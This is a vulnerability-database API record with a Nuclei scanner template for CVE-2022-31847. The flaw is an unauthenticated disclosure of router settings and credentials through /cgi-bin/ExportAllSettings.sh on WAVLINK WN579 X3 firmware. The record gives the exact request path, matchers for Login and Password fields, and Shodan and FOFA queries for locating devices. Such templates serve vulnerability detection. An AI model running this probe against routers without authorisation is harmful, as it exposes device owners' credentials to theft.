{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-31847/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-31847/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-31847/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-31847/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-31847/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-31847"},"sightings":{"href":"/api/v1/sightings/cve-2022-31847"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-31847.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2022-31847\n\ninfo:\n  name: WAVLINK WN579 X3 M79X3.V5030.180719 - Information Disclosure\n  author: arafatansari\n  severity: high\n  description: |\n    WAVLINK WN579 X3 M79X3.V5030.180719 is susceptible to information disclosure in /cgi-bin/ExportAllSettings.sh. An attacker can obtain sensitive router information via a crafted POST request and thereby possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations.\n  impact: |\n    An attacker can exploit this vulnerability to gain access to sensitive information, such as router configuration settings and user credentials.\n  remediation: |\n    Apply the latest firmware update provided by the vendor to fix the information disclosure vulnerability.\n  reference:\n    - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN579%20X3__Sensitive%20information%20leakage.md\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-31847\n    - https://github.com/ARPSyndicate/cvemon\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2022-31847\n    cwe-id: CWE-425\n    epss-score: 0.06555\n    epss-percentile: 0.93559\n    cpe: cpe:2.3:o:wavlink:wn579x3_firmware:m79x3.v5030.180719:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: wavlink\n    product: wn579x3_firmware\n    shodan-query:\n      - http.html:\"Wavlink\"\n      - http.html:\"wavlink\"\n    fofa-query: body=\"wavlink\"\n  tags: cve,cve2022,wavlink,exposure,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/cgi-bin/ExportAllSettings.sh\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - 'Login='\n          - 'Password='\n          - 'Model='\n          - 'AuthMode='\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100db39790a6bc09673a9c5593d8be04618cfe2d63daf8d50c98ea51c8e2b95c3b0022100a5e2b00ee334e0b8bb5beaafc7ffb5073118ffb15fe0a3fde5f2c535208e205a:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-31847"}